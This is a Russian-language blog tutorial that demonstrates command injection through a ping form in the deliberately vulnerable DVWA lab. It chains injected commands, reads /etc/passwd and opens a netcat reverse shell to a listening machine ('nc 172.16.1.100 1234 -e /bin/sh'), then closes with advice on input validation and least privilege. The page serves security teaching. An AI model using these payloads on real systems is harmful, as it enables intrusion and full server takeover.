29 марта, 2024

Как использовать командную инъекцию, чтобы поднять reverse-шелл на веб-сервере

Содержание:

Командная инъекция — это метод, который используют хакеры для выполнения системных команд на сервере, обычно через веб-приложение или какой-то графический интерфейс. Командная инъекция может произойти, когда какое-нибудь приложение предоставляет пользователю некоторые функции, связанные с использованием системных команд. И когда входные данные не валидируются и не очищаются надлежащим образом, это может привести к выполнению команд, которые изначально не предназначались для запуска.

Поскольку приложение в основном действует как импровизированная оболочка, такой тип атаки может привести к катастрофическим последствиям. В зависимости от уровня прав, которые есть у этого приложения, хакер может делать все, что ему вздумается, включая просмотр файлов конфигурации, изменение или удаление данных, получение доступа к шеллу или создание бэкдора.

Важно отметить разницу между инъекцией кода и инъекцией команды. При инъекции кода злоумышленник вставляет свой код, который затем выполняется приложением или программой, тогда как командная инъекция может использовать преимущества среды приложения, в которой выполняются системные команды. Эти понятия схожи, но то, что командная инъекция основана на нормальном поведении приложения, часто облегчает ее использование.

В этом уроке мы будем использовать DVWA (Damn Vulnerable Web Application) — виртуальную машину Metasploitable 2 с уязвимостями, с помощью которой мы и будем имитировать эту атаку.

Шаг 1. Определите направление для атаки

Мы можем начать с определения правильного направления или цели атаки. В этом примере у нашего тренировочного сайта есть функция, которая позволяет нам пинговать другие домены или IP-адреса с целью проверки качества связи. В реальном мире мы, скорее всего, вряд ли нашли бы такую вопиющую ситуацию, но мы ведь никогда не знаем, что подвернется под руку. Для демонстрационных целей наш пример подойдет отлично.

Здесь достаточно легко ввести loopback-адрес или localhost и проверить работает или нет. Мы видим ответы команды ping, поэтому машина работает правильно.

Читать также:  Восемь советов, которые помогут очистить память вашего Mac

Шаг 2. Проверка на наличие уязвимостей через командную инъекцию

Попробуем ввести простую команду, чтобы проверить, существует ли уязвимость. Данный конкретный веб-сервер работает под управлением Linux, но этот же способ можно применять к серверам под управлением Windows, но уже с помощью Windows-команд. Мы можем объединять команды в цепочки с помощью символов && (и), символа «;» (разделитель) или | (pipe). Давайте сначала попробуем простую команду ls. Инъекция прошла успешно и мы видим содержимое текущего каталога:

Можно использовать команду whoami, чтобы получить имя текущего пользователя:

Команда uname -a выведет системную информацию, например, сведения о ядре и операционной системе:

Мы можем просмотреть содержимое файла /etc/passwd, применив вот такую команду cat /etc/passwd:

До сих пор все команды, которые мы запускали, никак не воздействовали на систему — они полезны для сбора информации о сервере, но не более того. А что если бы мы получили шелл в системе и использовали его на полную катушку? Ну, с помощью популярного Netcat, мы могли бы сделать именно это.

Bind или Reverse шеллы

Прежде чем перейти к поднятию шелла, важно понимать разницу между Bind и Reverse шеллом.

Bind shell — это командная оболочка, которая открывается в целевой системе, и которая связывается с определенным портом в ней. Затем атакующая система подключается к этому «слушающему» порту, после этого инициируется интерактивная сессия. На данный момент Bind шеллы не слишком часто используются, поскольку любой брандмауэр блокирует входящие подключения к портам.

Reverse shell на машине жертвы сам устанавливает соединение с атакующей машиной. В этой ситуации открытый порт будет на атакующем устройстве, который и прослушивает все входящие соединения. Поскольку исходящий трафик реже фильтруется брандмауэром, то этот вариант является наиболее предпочтительным.

Шаг 3. Используйте Netcat для получения шелла

Netcat — это мощная сетевая утилита, которую используют для тестирования TCP или UDP соединений. У нее есть и другие функции, включая отладку, сканирование портов, передачу файлов и бэкдор. Мы можем использовать Netcat для создания reverse-шелла на веб-сервере при условии, что он будет там установлен, а затем вызовем оттуда исходящее подключение к нашей машине, что даст нам полный контроль над системой.

Читать также:  Что делать, если часы Apple Watch отключаются от iPhone при отсутствии Wi-Fi

Нам нужно использовать нижеследующую команду в нашей локальной системе, чтобы открыть «слушателя» для всех входящих подключений. Команда для использования Netcat — это nc, флаг -l открывает «слушателя», а -p 1234 указывает ему использовать порт 1234, но также подойдет совершенно любой порт.

nc -l-p 1234

Затем в утилите ping нашего веб-приложения, добавьте следующую команду, которая откроет шелл на сервере и подключится к нашей машине:

nc 172.16.1.100 1234 -e /bin/sh

Эта команда вызовет подключение к IP-адресу 172.16.1.100 на порту 1234, а -e /bin/sh откроет шелл, который будет отправлен обратно в нашу систему. Теперь можно попробовать запускать команды из нашего терминала. Используйте whoami для получения имени текущего пользователя:

root@drd:~# nc -l -p 1234
whoami
www-data

Чтобы получить системную информацию, используйте команду uname -a:

root@drd:~# nc -l -p 1234
whoami
www-data
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Или используйте команду ps, чтобы просмотреть все текущие запущенные процессы:

root@drd:~# nc -l -p 1234
whoami
www-data
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps
  PID TTY           TIME CMD
 4638 ?         00:00:00 apache2
 4642 ?         00:00:00 apache2
 4644 ?         00:00:00 apache2
 4645 ?         00:00:00 apache2
 4778 ?         00:00:00 apache2
 4783 ?         00:00:00 apache2
 4797 ?         00:00:00 sh
 4799 ?         00:00:00 nc
 4815 ?         00:00:00 apache2
 4858 ?         00:00:00 apache2
 4864 ?         00:00:00 apache2
 4967 ?         00:00:00 apache2
 5004 ?         00:00:00 sh
 5006 ?         00:00:00 nc
 5075 ?         00:00:00 php
 5076 ?         00:00:00 sh
 5078 ?         00:00:00 sh
 5120 ?         00:00:00 ps

Отсюда мы можем переходить к другим системам в той же сети, создавать бэкдоры или полностью отключить сервер. Теперь наши возможности бесконечны, поскольку мы, по сути, овладели всем сервером.

Читать также:  Фишинг аккаунтов Вконтакте на Kali Linux

Как защититься от командной инъекции

Как и многие другие хакерские атаки, происходящие в Интернете, особенно инъекционные атаки, командную инъекцию можно успешно предотвратить с помощью правильно настроенной валидации входных данных. Отфильтровав определенные фразы, специальные символы или, в идеале, используя «белый список», можно снизить вероятность такой атаки.

Должны использоваться лучшие практики информационной безопасности при написании кода, нужно проводить код-ревью — все это выходит на передний план и становится очень важным для всего процесса разработки. Нужно с самого начала ограничивать все то, чьи уязвимости можно эксплуатировать. Это отличный способ укрепить общую безопасность организации и ее приложений. Также стоит использовать надежные API-интерфейсы, которые предоставляют параметризованный ввод данных. Кроме того, нельзя забывать о том, что у всех запущенных приложений должны быть максимально возможные низкие права.

В конечном счете, самое лучшее, что нужно сделать — это полностью отказаться от функциональности ОС. В большинстве случаев нет никаких причин использовать в веб-приложении команды операционной системы. Исключив эту уязвимость в первую очередь, вы сразу победите всех хакеров на этом фронте.

Заключение

Сегодня мы лишний раз убедились, как плохо валидированные входные данные могут привести к эксплуатации этих уязвимостей. Особенно это касается работы с веб-приложениями. Командные инъекции основаны на той функциональности веб-приложений или графических интерфейсов, которая затрагивает взаимодействие с ОС. Когда в системе могут быть выполнены команды, не предназначенные для выполнения пользователями, злоумышленник может полностью овладеть всем сервером и получить шелл, как мы и показали с помощью Netcat. Этот пример наглядно показывает, как могут быть скомпрометированы, а затем и эксплуатированы потенциально безобидные реализации.

Добавить комментарий